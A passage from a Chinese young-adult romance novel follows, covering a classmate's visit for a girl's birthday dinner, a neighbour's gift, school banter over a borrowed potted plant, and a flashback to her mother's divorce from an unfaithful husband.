盛逸满脑子都在“我现在在应琮家里”和“怎么办今天是她生日”两个话题反复横跳,结果一开口挑了个最无聊的话题。
“当然写完了。”应琮毫不犹疑。
“那你借我抄。”话一出口,盛逸差点把舌头闪了,就像触发自动回复一样。
没办法,这是自己和丁一锐聊天时必然出现的固定搭配,他又一向嘴比脑子快。
唉,都怪丁一锐。
“你还没写完?”看对方表情有异,应琮反问道。
“呃……还差一丢丢。”盛逸顿了顿,补充道,“还差地理没写完。”
“地理?”应琮略微有些惊讶,“我记得你月考地理考了年级第二,特赦不用写地理作业吧?”
她眉头微皱,难得用一种全新的眼神上下打量盛逸。
没看出来他也是个卷王啊?
“不不,”盛逸难得没逗她,“是竞赛班里额外布置的卷子,太难了所以我还没开始写。”
“原来你是地理竞赛班的啊。”应琮点点头。
那就不奇怪了,毕竟自己假期也写了好几张数学竞赛的卷子。
“我又不是地理竞赛生,哪有卷子给你抄?”
“我乱说的,”盛逸挠头,“说起来,我记得你参加的是数学竞赛。咱们年级里好像也没几个晋级数学国赛的?”
“三个。”应琮随口道。
听着妈妈从厨房传出的指挥,她从茶几抽屉里掏出零食递去,顿了顿,又道,“我和1班的两个同学。”
不知为何,她隐去了另外二人的名字。
虽然盛逸也见过裴少言,但她总觉得,这是两批不会产生交集的朋友。
连应琮自己都不知从什么时候起,盛逸已经熟到能够归类为“朋友”那组。
“那你还真厉害。”盛逸一手肘搭在膝上,一手无意识摩挲杯子下沿,真心地夸赞道。
可话音刚落,他又补上一句。
“不像地理,只有我一个,想抄都没得抄。”
应琮瞬间瞪了过去。
这是在内涵她的作业是抄别人的?还是为了炫耀自己地理天资出众?
平白挨了一记眼枪,盛逸这才后知后觉地意识到自己的话有歧义,赶紧转移话题。
“没想到你是十月初生日,比我小一点点。”
说罢,为了显得转换得没那么生硬,他还不忘替自己挽尊。
“我记得你在班级生日统计表里填的不是这个日子,所以刚刚才以为你买蛋糕是庆祝别的……”
哪壶不该提哪壶,若不是他主动提起,应琮差点忘了盛逸方才在商场里的嘴脸。
“……那个生日是我乱填的,2月29。”
应琮不想再和他继续尬聊,丢下这句话就起身往厨房走去。
“妈妈,我来帮你吧。”
好吧,看来他俩还真是很难和平相处。
盛逸收回自己的目光,摸摸鼻子。
那边,菲菲和小猫玩得正上头,竟是直接跟着猫咪的脚步,往屋子深处一点点爬去。
“喂,”盛逸压低自己的身子,小声警告道,“别往里面去了,那是人家的房间。”
他悄悄伸长自己的腿,试图阻拦一人一猫的脚步。
在兴头上的菲菲充耳不闻,四脚着地爬得欢快,眨眼间就从旁边溜了出去。
孩子还是猫,盛逸已经分不清了,连忙猫着腰跟上去,还不忘抽空抬头确认应琮的身影。
要不快点把臭丫头逮回来,等下那位就会发现客厅空无一人,恐怕又要生气了。
他还在心里预设着应琮可能会出现的反应,低头一看,菲菲和猫咪早已经消失在眼前。
盛逸左右看看,只有一个房间的门被推开一个小缝。
“菲菲——”
顾不得三七二十一,他收着力气,轻轻打开房门。
在眼神看向里面的瞬间,盛逸清楚看到印有猫咪图案的被单、全是猫爪形状的窗帘以及床上堆放的猫咪玩偶……目光所及之处,皆是猫咪的身影。
显而易见的,这是一个猫咪爱好者之屋。
怪不得臭丫头钻进去就不出来了。
“盛——逸——”
很快,伴随着阴沉的声音,他的身后出现了一道人影。
联想到某人的头像,盛逸后知后觉意识到一个重要的事实——这很有可能是应琮的房间。
黑云压城城欲摧,他有点不敢回头。
尚在犹豫该如何解释时,他的后领猛地被人一扯,整个人不由得倒退了几步。
“对不起对不起,”盛逸好不容易转过身,摸摸自己的脖颈,张口很老实地道歉,“孩子跟着小猫就跑了进去,我是为了叫她出来。”
应琮没有开口,只是双臂交叉,环抱身前。
盛逸小心翼翼地偏了偏头,试图揣摩她的心情。
“你去厨房吧。”
应琮终于开口,语气古井无波,甚至没有正眼看他便走进房间。
“欸?”
盛逸下意识地往前走了一步,险些被猛地关上的
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门撞到鼻子。
等等,他一个人呆呆地站在房门外。
这好像不对吧?
*
虽然但是,盛逸还是乖乖来到了厨房帮忙。
应雨柔还在哒哒哒切着蔬菜,完全没察觉到自己身边的高中生已调换。
“去帮我把架子上的五香粉拿来。”她头也不抬地指挥道。
盛逸环顾四周,将五香粉的罐子递了过去。
“再去拿……诶诶?盛逸?”
应雨柔手上的刀闪着光,吓得盛逸往后一仰。
“阿姨好,”盛逸挠了挠自己的脸,半真半假地开口,“我妹妹非说要和应琮姐姐一起玩,所以我就过来帮忙了。”
“哎呀,你是客人,这怎么好意思呢。”
应雨柔重新恢复自己温和甜美的社交语气。
“你去客厅坐着玩一会儿吧。”
“不用客气阿姨,我本来在家也经常做饭的。”
盛逸不敢违抗寿星布置的任务,抿出一个长辈爱看的腼腆微笑。
“这样啊……”应雨柔也没有过多客套,笑眯眯地就布置下来一个任务,“那你帮我把那边洗干净的西葫芦擦成丝吧。”
“好的。”
盛逸原本穿着硬挺的牛仔外套,不方便折起来袖子,索性就将外套脱了,搭在沙发把手上。
“你的体育一定不错吧?”看到他露出来的手臂线条,应雨柔调侃道。
“当然,”盛逸擦个西葫芦丝还挺卖力,下意识绷住手臂,“生命在于运动嘛。”
见他接梗,应雨柔抿唇笑笑,这个盛逸倒是比小裴开朗许多。
两个人分工合作,很快就把准备的菜都切好了。
“阿姨你的手艺也太好了。”
看着盆里五颜六色的蔬菜,盛逸感慨道。
“是吗?”
虽然知道他嘴甜,但应雨柔还是很受用地笑了。
过生日这天,按照她们家的传统,也是要吃饺子的。
“当然啦,”盛逸肯定地点点头,语气夸张却不显得虚假,“真羡慕应琮,可以天天吃到阿姨做的饭。”
路过厨房的应琮无力吐槽。
根本都没炒好一个菜,怎么就夸上了?
靠想象力吗?
可应雨柔真的信了,她一边调着馅,一边和盛逸继续聊天。
“真的吗?阿姨准备在你们学校附近开一家饭店呢。”
“真的吗?!”
盛逸脸上的惊喜不是假的,他早就吃腻学校附近的东西了。
“但是阿姨还没有想好具体卖什么吃的。”应雨柔坦诚相告。
“如果是开饭店的话……”
盛逸手上的动作慢慢停了下来,若有所思。
既然是开在学校附近,那么受众主要还是学生。
卖的食物种类,势必要与饭堂所卖的形成差异。
“不如就卖饺子如何?”
一中饭堂只有早餐档口才卖饺子,不仅是速冻的,而且还是万年不变的白菜猪肉馅,真叫人吃都吃腻了。
“饺子?”
应雨柔倒是从没想过这个类型,看着自己手边调好的馅儿和面团,略有几分怔愣。
盛逸赶紧和她吐槽一中饭堂卖的饺子有多难吃,应雨柔的表情逐渐认真。
她老家在北方,做饺子无论是和面还是调馅,她倒都得心应手。
好像有点可行。
“饺子馆油烟似乎也不大,而且饺子不仅可以当正餐,还可以当小吃……”
盛逸越说,她越心动。
“盛逸,”应雨柔抬起头来,眼眸亮闪闪的,“等一下吃饺子的时候,你一定要多吃一点!”
30. 第 30 章
日落西山,薄暮冥冥。
根本不需要催促,饭菜的香味一飘出来,应琮和小丫头自动自觉就钻出来了。
“好香呀,阿姨你真厉害!”
菲菲和应琮不知道玩了啥,手上都是颜料笔的色彩。
应雨柔忍不住捏捏小花猫的脸颊肉,“真的呀?那你可要多吃点。”
盛逸端着最后一盘菜正好从厨房出来,看到一大一小两个女孩脸颊红扑扑,发丝都黏在脸颊边上,心里直犯嘀咕:这是去跑马拉松了还是自由搏击?
但是他只敢放在心里想。
“你们俩把手洗干净,就可以坐下来准备开饭了。”盛逸把盘子放到桌上摆好。
只不过参与了一会儿厨房工作,他倒有了几分当主人的派头。
看到妈妈眼神里对盛逸止不住的欣赏,应琮忽然感受到了名为“鸠占鹊巢”的危机感。
“盛逸,”应雨柔的语气都比先前亲近不少,“你去把冰箱里的蛋糕拿出来吧。”
“行,待会儿给您和应琮拍张端着蛋糕的合照。”
盛逸按照伺候自己亲妈的经验,伺候应琮妈妈也是行云流水。
这种温馨时刻,一说要拍家庭合照,保准欢喜的。
应琮于是刚出来就被按在椅子上,眼刀还没来得及丢出去,妈妈就搂着她喊“茄子”……她只能对着镜头挤出一个微笑。
盛逸取下徐徐升起的相片,递给母女二人。
看到光线合适,构图绝佳的画面,应雨柔果然很惊喜,应琮也连带着表情柔和许多。
盛逸第一次觉得小孩的育儿袋里装个拍立得相机也不是全然累赘。
拍完照又将蛋糕先放到冰箱,几人也坐了下来。
“今天晚上这桌菜,还得感谢盛逸,也庆祝一下你第一次来我们家吃饭!”
应雨柔率先举杯,笑得眉眼弯弯。
“哪里哪里,我只不过是个打下手的。要说大厨,还得是阿姨您。”盛逸连连摆手。
应琮抬眸看了他一眼,又默默收回自己的眼神,举起手上的杯子。
菲菲双手捧着自己的杯子,也凑了过去。
“干杯!”
四个杯子碰在一起,透明的小气泡伴随着清脆的碰杯声咕嘟嘟地往上跑。
虽然应琮是今天的寿星,但整场饭吃下来,她几乎没有开口说什么,只是默默地吃着碗里的食物。
身旁坐着的盛逸倒是和应雨柔聊得不亦乐乎。
他太会夸了,直把应雨柔的厨艺吹上天去。
应琮安静地吃饭,安静地听着他们的对话,心里有些酸酸的。
也许是同桌的经验,盛逸很快感受到她不同寻常的安静,频频借着夹菜的机会瞥过去。
“说起来,我和应琮在学校还是同桌呢。”
他想了想,主动将话题cue到了应琮身上。
可应琮并不会遂他的意,抬手夹了一个饺子放进嘴里,一语不发。
“是吗?”应雨柔来了兴趣,了然地笑了笑,“原来你就是她嘴里说的那个同桌啊。”
???
应琮心下一虚,盛逸也立马扭头看她,黑亮的眼眸因吃惊而圆睁。
她还会提起自己?
那她嘴里说的——是好话,还是坏话?
“……”
应琮垂眸继续吃饭,假装于己无关。
“阿姨,那她平时都怎么说我的?”
盛逸笑了一下,故意追问道。
看应琮紧张的样子,就知道一定没说自己什么好话。
“我想想……”应雨柔真的开始认真回忆。
“妈,想不起来就别想了。”
应琮夹起一筷子菜放到她的碗里,微微露出一个笑脸,“还是好好吃饭吧。”
见自己的打算被中断,盛逸摸摸鼻子,不扭头都能感受到应琮冰冷冷的眼神。
好吧,他老实闭上自己的嘴。
“虽然是同桌,但是我之前居然都不知道应琮生日,太不好意思。”
“这有什么,你帮忙做了饭,还给我们拍了照片。”
应雨柔心知肚明,自己的宝贝女儿在学校一向很低调,怎么可能跟别人主动说自己的生日。
“还是应该举杯庆祝一下寿星的生日,祝你——学业有成,天天开心!”
盛逸脸上笑嘻嘻,顺便用胳膊肘推推埋头扒饭的菲菲小同学。
孩子大了,该让她也说两句吉祥话了。
菲菲赶紧咽下可乐鸡翅,把给家里长辈祝寿的套词流利地背了出来:“祝姐姐福如东海,寿比南山!”
于是众人再举杯,应琮这回终于被逗笑了。
盛逸松了一口气。
*
和欢乐温馨的氛围不同,这里的空气和灯光似乎都要凉上几分。
“小婷,坐好。”
大狗狗一被套上脖圈,就清楚要出门遛弯了,急得不住地在门口绕着打转。
裴少言紧了紧绳,身着深灰色运动套装和外出时穿着的运动鞋——
他分明也是一副将要出门的打扮。
小婷虽然听他的话,但是嘴里忍不住呜呜地叫了起来,像是在控诉他明明到了散步时间,明明已经换好了衣服,为什么还不带着自己出门玩。
“等一下,再等一下。”
裴少言说着,眼神不自觉地落在桌上放着的白色纸袋上。
他记得的,今天是应琮的生日。
不,不是他有意要记的……实在是太好记,就在国庆假期的最后一天。
去年返校那天,他们的班主任还很有仪式感地利用班会课,特意给应琮在班里补过了一个生日。
所以他才记得的。
狗狗的抱怨声越来越大,打断了裴少言的思绪。
“乖,等一下就可以出门了。”
见狗狗还是急不可耐的模样,裴少言起身拿了一小袋鸡肉干,蹲在狗狗的旁边,耐心地哄着它。
见有零食吃,小婷立马变得安静乖巧,昂首挺胸地坐在门口,尾巴呼呼甩得像是大风车。
“真乖。”
裴少言摸摸它的脑袋,将鸡肉干撕成细条喂给它。
听到对面传来开门的动静,他立即起身。
“我们走吧。”
裴少言拿起早早放在一边的白色纸袋,打开自己家的门。
门外站着的,正是准备下楼的应琮。
她今天少见地穿了裙子,还是颇具少女风的荷叶边与泡泡袖。
裴少言自己都没注意到,他的唇角此时已经微微上扬,神色格外柔和。
挺适合她的。
“裴少言?”
这么巧?
看到他牵着狗狗出来,应琮语气有些惊讶,“你要出门遛狗啊?”
“嗯。”
裴少言若无其事地点点头,抓紧手上的纸袋递出去,正要开口。
“什么裴少言?”
一个略有几分陌生的男声出现在她背后。
穿好鞋子的盛逸大咧咧地从门口探头,手上还提着两袋垃圾。
待看清门外的人是谁,他也愣住了。
盛逸没想到,自己的面前还真的出现了裴少言。
同桌的暗恋对象,裴少言。
“……”
裴少言的视线落到盛逸手上的垃圾上,手心里的狗绳默默收紧。
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“你们两个……原来是邻居吗?”
盛逸低头看向应琮,像是在寻求她的解释。
裴少言是邻居什么的,她居然从来都没有和自己说起过。
不过……好像也没有什么非告诉自己不可的理由。
他喉结动了动,忍下自己心里对应琮“知情不报”的莫名情绪。
也不知道为什么自己会问出如此显而易见的问题。
应琮点点头,一点心虚的意思都没有,她本来也没有藏着掖着啊。
看到她坦然的样子,盛逸咬了咬口腔里的软肉。
那这算什么,近水楼台先得月?
还是兔子不吃窝边草?
不对不对,他努力摒除自己脑子里一瞬间涌出来的胡思乱想。
“你们两个是青梅竹马?”
他附在应琮耳边,小声道。
盛逸本就比应琮高半个头不止,又恰好站在她的身后,只是略一附身,就能凑在对方耳边说悄悄话。
不过在旁观者的眼里,看起来倒像是他整个人都笼罩住了前面的女生,十分亲密。
裴少言整个人都绷紧了,本就面若冰霜,此时更是如寒冬腊月的坚冰一般,周身散发着寒意。
“当然不是,我去年才搬来这里。”
应琮皱眉,小声地回道。
青梅竹马这种词语在她看来,多少有点怪异。
原来也是高中才认识啊,盛逸顿时舒展了眉心。
小婷似乎感受到主人不急着走的心情,主动蹭到应琮手边求摸。
“你遛狗还不忘顺便丢垃圾啊,还真是懂得规划时间。”
应琮揉揉大狗狗,同时还要等屋子里慢吞吞收拾东西穿鞋的两个人,不说点什么气氛实在尴尬,于是开始没话找话。
“……”
裴少言低头,发现她口中的“垃圾”正是自己准备给她的礼物。
即使他一直以来都是个情绪稳定的人,此时平淡的脸上依然出现了一丝微澜。
“生日快乐。”
忍下额角跳动的轻微疼痛,他将手上的袋子递到应琮的怀里,将在心里排练过许多次的话一字一顿说了出口。
说罢,他似乎也不期待回应,牵着大狗匆匆下楼。
原来是礼物吗?
直到裴少言从电梯下去,应琮看着已经空无一人的楼梯间才反应过来。
她垂眸,看着手上的袋子,总觉得有点怪异。
为什么裴少言还记得自己的生日?
完全不符合他的性格啊。
倒是身后的盛逸想到刚刚裴少言离开时的脸色,一个没忍住,笑了出声。
能把礼物当垃圾的,也只有他同桌一人的脑回路了。
应琮懒得理他,打开袋子往里瞧。
里面是一个精巧的猫咪钥匙扣,虽然通体漆黑但在四肢处有金色暗纹点缀,看起来栩栩如生、活灵活现。
不知是对方专门定做还是特意挑选,猫咪看起来倒是和她家里的咪咪有八分相似。
还以为裴少言只对学习感兴趣,没想到还会精心为别人准备礼物。
“钥匙扣啊……”
盛逸见她看着礼物都能出神,不由得开口轻笑道,“你也可以期待一下我明天送你的礼物。”
应琮将钥匙扣重新放在袋子中,白他一眼。
他今天才知道自己的生日,能怎么期待?
“小心牛皮吹到天上去了。”
“等着瞧吧。”
盛逸嘴上哼哼着,有点不服气。
“走吧,我送你们回去。”
这时,姗姗来迟的应雨柔牵着菲菲的手,拿着自己的车钥匙,从屋里走了出来。
31. 第 31 章
隔着校内围栏可以看到街边碧梧依旧,如果不是早晚出现的凉意,几乎让人感受不到现在已经进入了秋天。
操场上,简单跑完两圈和热身运动后,体育老师便大发慈悲地让大家解散队列,自由活动。
“打球不?”
丁一锐冲好哥们挑挑眉,他今天特意从家里带了个新篮球来,这下终于不用打学校又旧又瘪气的球了。
“不打。”盛逸拒绝道。
“为什么?受伤了?”
丁一锐怪了,一把勾住他的肩膀,上下打量一番。
“没受伤。”
盛逸把放在自己身上的胳膊推开,长臂一伸,将上半身挂在单杠上晃悠。
“你说……”
他话还没说完,眼睛跟随一个身影穿过小半个操场。
一身清爽运动服的女孩儿叼着一盒果汁,从小卖部走到大榕树阴凉处坐下。
既不运动,也没跟人玩儿,自顾自拿着一页纸在看。
……好拼命的同桌,学校应该给她颁个学习之星。
“说什么?话说一半是什么意思呢?”
丁一锐带着好奇,随他视线看去,眉头不由得蹙起。
满操场都是打球的,他们一会儿没急着抢地盘,篮球场都被打羽毛球的女生们攻占了。
白白为了体育课带了个球。
叹了口气,他将手上的篮球往盛逸身上一掷,自暴自弃也在旁边坐下了。
“哦,我说……给人赔礼道歉的话,送啥好?”
盛逸回过神来,把话补充完整。
“啊?”
丁一锐大嗓门一亮,引来一些目光。
“你又要送礼物?得罪谁啦?”
盛逸恨不能把篮球丢回去砸他嘴上:“能不能小点声,家丑不外扬,懂?”
说罢,他又有些心虚往对面看。生怕声音会传出去。
吃一堑长一智,自己已经被这个丁一锐害过一回了。
盛逸想起早课前的场景,心里暗叹。
*
今天一早,他被母亲大人扫地出门,不得不一路坐公交车来学校。
初秋的天硬是给他挤出一身薄汗,结果一进教室门,还没来得及整理仪容,丁一锐这个值日班长就咋咋呼呼大喊大叫:
“盛逸同学你差点迟到知不知道?你一个人扣分不要紧,耽误我们全班41个同学就是——欸??你捧着草干什么,早饭没吃去薅绿化带了?”
盛逸差点把草砸他头上。
“什么眼神啊?绿化带能有这么标致的盆栽吗?”
结果丁一锐没个正形就算了。
就连班主任在一旁都忍不住插嘴:“盛逸同学,课室内讲究好学精神,可不是光凭环境布置就能学好的。”
这位自己没胆喷,他只能尬笑一声,本来低调的计划算是被毁了。
最后无奈落座的时候,盛逸已经像被夺走鸡蛋的母鸡那样,完全失了那股子精气神。
结果应琮也忍不住笑了一声。
“盛逸同学……”
听到她的声音,盛逸立即直起身子,把那盆草推过去,迎着同桌疑惑的眼神,“这个是给你的。”
见应琮表情好像不是很好,他有些急了。
“不是,这不是草——至少不是一般的草。”
好像越说越乱了,他清了清嗓子。
“你别听丁一锐瞎说,这个有香味的,你试着碰一下?”
少年人的额角还挂着细密的薄汗,眼神亮晶晶的,好像很期待对方的反应。
应琮没听过这种植物,半信半疑,用笔尖轻轻戳了一下。
圆圆的绿叶子毛茸茸,凑近看看,还真闻到了果汁的清香,像是青苹果和柠檬揉碎了,很清爽的味道。
“好闻吧?”
盛逸看她表情好奇中有点喜欢,终于有了自信。
“这个叫碰碰香,很可爱的,香气还可以驱虫。”
应琮收回手,收敛了神情。
“我还以为你又给自己带陪读植物。”
之前他时不时给自己带一枝花一盆草来,偶尔又带回去,自称是古希腊掌管花花草草的神。
“这个是送给你的生日礼物。”
盛逸转了一下陶瓷花盆,露出有猫咪浮雕的那一面。
“本来想送你一盆长寿花,那个不像草,开起来很漂亮,寓意也好。”
他继续戳面前这盆草,“简直是庆生的最好选择。”
“……”应琮无语。
“只不过长寿花对猫咪不好,你摆在家里也不安全……”盛逸自顾自抱憾。
“我生日已经过了。”应琮淡淡的。
“谁说生日只能庆祝当天?生日月听过没?只要是出生的这个月每天都可以收礼物,而且我昨天已经说好了……”
“哇!”
一不留神,柳飞阳的声音出现在身后,把两人吓了一跳。
“应琮,你生日啊?”
“……”
众所周知,柳飞阳作为副班长。
她是一位热心肠自来熟的女子。
一心低调的同桌两个人难得默契地沉默,后座杨乐适时插嘴:“生日月。”
又哪来的顺风耳?
盛逸回头一脸无语。
结果杨乐接收到他的眼神,二度张口更是添乱:“盛逸这个月要每天送礼物。”
“哇!”
丁一锐嗓子大耳朵也大,一下子围了过来。
“真假?”
不是,哥们儿,怎么一下子和大小姐同桌这么熟了?
盛逸闭目,半晌挤出一个笑:“哈哈,可以啊,我家开花店的,每个同学生日都可以来定制鲜花。应琮是我同桌……出于友情,我免费赠送她一个月的鲜花做礼物。”
应琮连忙开口,“免了,我不想我的座位变成花店。”
丁一锐语重心长拍拍他的肩膀。
“课室内讲究好学精神,可不是光凭环境布置就能学好的。”
“……谢谢提醒啊,班长。”
一想到早上的事,盛逸就头痛。
同桌当初乱填生日就是为了低调,结果自己好心办坏事,搞得她的生日一下子众人皆知。
不对,一切的根源都是丁一锐那个大嘴巴。
也不知道应琮有没有因此恼火。
他想着,又往大榕树下望去,刚好看到柳飞阳走到应琮身边,似乎给她递了一个冰淇淋。
应琮仰起脸和柳飞阳对话,阳光斑驳在她脸上。
盛逸似乎看见她笑了,少女的唇角微微勾起一个弧度。
不知不觉,他也跟着扬起嘴角。
“怎么又不说话?”
丁一锐自顾自列举礼物清单,一抬头发现盛逸根本没听,还在那里自顾自露出恶心的笑容,一下子怒火中烧。
“什么意思啊?你到底要给谁赔礼道歉?我发现你现在很奇怪啊,不和我打球也不和我说话,你是不是心里有人了?!!”<
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“对方长得漂亮吗?是我们学校的吗?是学物理的吗?”
不得不说,丁一锐虽然笨,但推理思维还可以,盛逸白了他一眼。
“你以为在玩海龟汤吗?”
“那你倒是说啊?”
丁一锐也没多不好意思,他耸耸肩膀,换了个姿势靠着。
“我说的是给我妈赔礼道歉好吗?我今天早上被赶出家门的。”
“阿姨脾气那么好,你干啥伤天害理的事了?”
还能是什么,他家又不是真开花店的。
盛逸昨天想了一夜,礼物既要投应琮所好,又得是立马能拿到的,最好还要能够摆在眼前,和钥匙扣一样时时可以看见。
那盆碰碰香是他妈养了摆在书桌上的,除了花盆不够洋气,别的都合适。
好在他家别的不多,小花园里倒全是鲜花和精贵花盆。
于是盛逸趁夜黑风高悄悄把原本素净的盆给换成了猫咪图案,这下里外都更加符合应琮心意了。
结果今天早上吃早饭的功夫便奸计败露,他趁母亲大人还在书房尖叫要抓贼的功夫,把包子塞嘴里抱着花盆匆匆逃窜而出。
结果没钱没手机,坐公交车还要求认识的同学代投一块钱。
真是一把辛酸泪。
“唉,你别问这么多,都说了家丑不可外扬。”
养了十几年的儿子变成了小偷,能是什么好听的吗?
“呵呵,我看你就是你们家丑。”
“……”
刚刚说了,丁一锐虽然笨,但推理思维还可以。
盛逸张口还想再说些什么,远处的操场上兀地传来尖锐的哨音。
体育老师叉着手,嘴上叼着个鲜艳的口哨,看着四面散散的学生慢慢走过来。
“动作快点!你们不想下课了?”他大声道。
“得,要集合了。”
丁一锐瞥他一眼,“走吧。”
盛逸长臂一撑,从单杠旁离开。
两个人一前一后地往人群的方向走去,盛逸不经意回头一望。
看到应琮还在急着把嘴里的冰淇淋咽下去,他忍不住笑了。
好在体育老师废话很少,也没管同学们去小卖部觅食的行为,很快便解散队伍。
盛逸随着大部队慢悠悠往课室去,恰好偷听到柳飞阳和她讲话。
“那很好啊,食堂新开了一个窗口还可以的……”
“……那我今晚试一下。”
应琮平日里从不说好听话,和女生讲话的语气倒是挺友善的。
“晚上吃食堂啊?”
毕竟同为班长,丁一锐和柳飞阳关系比较熟,揽着盛逸肩膀就这么加入对话。
“对啊,”应琮刚快速吞完冰淇淋,嘴唇被冻得红红的,“我妈妈最近在忙,所以晚饭我自己解决。”
应女士终于下定决心,要在学校附近开一家饺子店。
应琮倒是没意见。
妈妈忙,忙点儿好啊。
而且应雨柔因着第一次创业失败的经验,第二次的计划似乎有模有样许多。
她还是很期待看到妈妈事业有成的。
说起来,这一切的导火线,还是昨晚上盛逸把应女士的厨艺夸上天了。不知道有没有夸太狠的成分在,但是直接把应女士的信心乘火箭般提升了起来。
想着,她看了一眼盛逸,盛逸下意识露出笑容。
两个人目光相接,都反应过来彼此想的都是昨晚的那顿饭。
32. 第 32 章
无风无云的午后,阳光虽然不至于热量逼人,但依然夺目。
应雨柔牵着壮实的金毛大狗,坐在店门口的遮荫大伞下充当“监工”。
上次开店装修她踩了不少坑,现下她已经有了些许经验,哪怕再累也得在关键时刻到场,就怕再出现沟通不畅、货不对板的情况。
想到过往的种种事件,应雨柔心中暗叹,她之前经验不足,又太好说话,想起来都是一把辛酸泪。
反正现在时间还早。
而且,最近因为竞赛老师的个人原因,应琮原本每晚的课也暂时取消了。
如今她不需要给孩子送晚饭,家里也就没什么事情,倒不如借着遛狗的机会,一方面是监工,一方面也是随时沟通。
“小婷,是不是渴啦?要不要喝点水?”
看到狗狗东张西望,时不时往外吐着舌头的样子,应雨柔关切道。
天气虽然不算热,但这大狗狗毕竟身上披着那么长的毛发,肯定不能和人类的体感温度相比。
小婷虽然没有自家的咪咪机灵,但也颇通人性,闻言嘴里呼噜呼噜地叫了两声,应雨柔便心领神会地从自己背着的包包里拿出专门的水碗和提前预备好的矿泉水,赶紧喂它喝水解渴。
楼下的洗衣店阿姨因为要守店做生意,没办法遛狗,所以只要她有空,就会带着小婷在附近转悠几圈。
一来二去的,家里倒是添了不少宠物用品。
看着小婷喝完水,摇摇尾巴很是亲近的样子,应雨柔不禁有些出神,回想起她与狗狗第一次见面的时候。
眼下这团粘人爱撒娇的大棉花糖,在那时候更像一只生人勿近的大狗。
*
那会正是夏季最炎热的时候,日头远比现在要恶毒得多,明晃晃地像是某种熔化成液体的金属。
浓郁的阳光劈头盖脸、毫不客气地浇在每个人的头上、身上,甚至令人有些呼吸不上来。
应雨柔和应琮站在新小区门口翘首以盼,等着搬家公司的货车开来。
没有一丝风吹过,空气都逐渐变得灼热,应雨柔感觉自己的皮肤似乎正在渗出来水,眉毛也变得汗涔涔的,眼前的景象像是蒙上一层薄薄的水雾般,朦胧又飘渺。
当初一拿到李正心婚内出轨的确凿证据,应雨柔立即请了最专业的律师负责起草离婚协议。
原先,婚前婚后财产怎么分割处理,她都不在乎,只要能保证自己能得到女儿的抚养权就好。
然而,和拥有偌大集团、家财万贯的李正心不同,婚后便在家做家庭主妇的应雨柔一旦离婚,除了手上几处难以变现的不动产外,几乎没有可持续性收入。一旦对方起诉,法院很可能会将抚养权判给更有经济实力,更能为孩子提供良好教育条件、生活条件的男方。
甚至,在律师的提醒下,她了解到有一些男的获得抚养权之后,会用各种手段阻止孩子和妈妈相见,往差里说的东躲西藏,条件好的送到国外都有的,甚至因此诞生了“紫丝带妈妈”这个群体,这些妈妈不仅失去了怀胎十月生下来的宝贝,还会遭受“丢弃孩子和人跑路”这种谣言的攻击。
虽然女儿已经不小了,她也相信李正心固然出轨,却不至于把这件丑事闹大。
毕竟他都藏了这么多年,不就是为了面子吗?
但律师的话依然让应雨柔感到汗毛直立,何况相爱多年的丈夫出轨,还有一个和应琮差不多大的私生子之事,让她无法对人性再抱有丝毫信任。
二人离婚,最好是好聚好散,平和收场。
如若不行,她也不能一味退让。
果不其然,虽然一开始李正心还在做着挽回婚姻的春秋大梦,但意识到应雨柔是铁了心要离婚时,他同样联系了自己的私人律师,试图让这场婚姻结束在体面又不过度损伤自我利益的局面里。
看到对方协议里的条款,应雨柔几乎要笑出声来。
如若不是当初为了保险起见,二人签订了婚前协议,约定好各自的婚前财产,自己险些净身出户。
多么可笑啊,明明在婚姻里当双面人的是李正心,偷偷养着一个私生子的是李正心……所有的背叛、谎言、虚伪都拜对方所赐,然而最后吃亏的竟然是自己。
但为了能够顺利离婚,应雨柔忍了。
她最终的目的依旧是要女儿,只要应琮的继承不会少一分就好。
应雨柔甚至选择从自己所剩无几的财产中拿出一笔钱捐赠给“紫丝带妈妈”群体,成功帮助一位女士打赢了官司。
好在应琮比谁都支持她。
作为她的孩子,应琮和她一样硬气。
“妈妈,你是不是中暑了?”
看着她额上不断增添的汗珠,应琮担心地开口。
她刚刚初中毕业,或许是因为家庭巨变,应琮原本稚气的脸上已经有了大人的神情。
二人一同来到树下的凉椅处坐下。
看着面前和之前所住的别墅区大相径庭的居民楼时,应雨柔原本苍白的表情柔和了些。
新的小区,新的开始。
和过去一刀两断吧。
她微微垂头,用力闭了闭眼。
“雨柔!”
忽然传来一声大喝,令她不得不抬起头,迎着刺目的阳光看去。
一辆熟悉的银黑色轿车停在不远处。
“我有话跟你说!”
从车上下来的,不是李正心还能是谁?
“妈……”
来者不善,应琮担心地往旁边看了看。
“没事。”应雨柔伸手将她挡在身后,“你就在这里等着吧,如果看到了搬家公司来,就报我的号码。”
“可是……”应琮欲言又止。
“你爸还不至于敢对我动手。”
应雨柔面上露出个笑容,然后便起身往前面走去。
反正两个人的婚已经离了,抚养权自己也拿到手了。
若是李正心今天胆敢做些什么乱七八糟的事情,她必然是会向警局申请人身安全保护令的。
到时候,堂堂李氏集团董事长的名誉和脸面,可就保不住了。
“雨柔。”
见她已经主动走来,李正心便停下了自己的脚步,立在原地仪表堂堂,因着面上的冷淡神情,虽然还是一样的称呼,但距离感顿显。
“你没有看我给你发的信息吗?”
“什么信息?”
应雨柔睨了睨他,“我记得我们好像很早就拉黑彼此了。”
还在这里装什么体面人,真是令人作呕!
“不是信息,那就是邮件。”
和刚才的大喝相比,李正心现在的语气缓和许多。
他顿了顿,还是软了神色,试探性地想要伸手去拉应雨柔的胳膊。
“你到底有什么想说的?”
应雨柔往后退了一步,避开他的动作,嫌恶道,“公司倒闭了吗?闲着没事追到这里。”
“为什么要住在又破又小的地方?”
李正心回避她的冷箭,浓眉蹙起。
“临江公寓住着有什么不好?不喜欢的话……”
“……”
应雨柔抬头,看向他的眼神同样充满不理解。
“如果我没有记错的话,”她伸手指指面前的男人,“我们已经离婚了吧?”
“你现在这份泛滥的同情心……涂蔓知道吗?”
应雨柔
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抬眸看着他,眼神里是赤裸裸的讽刺。
“好端端地,说她干什么。”
被提及自己婚内出轨的对象,李正心的脸上丝毫没有慌乱与羞愧。
“临江公寓离江城另一所国际学校不远,环境也好……”
他慢条斯理地继续道,像是一个为女儿着想的好父亲。
还没说完,应雨柔的眉毛已经皱了起来。
“我不去什么国际学校读书。”
早早站在二人身边不远处的应琮忽然加入谈话。
说罢,她快步站在妈妈身前,同仇敌忾。
“傻孩子,”听到她的话,李正心一脸慈父模样,“爸爸好多朋友的孩子都在那儿上学,而且这个学校比你之前上的还要好。”
“国际学校可没有那么大的学习压力,以后你想留学深造也有很多资源。”
“你现在想去,爸爸去打一声招呼就是了。”
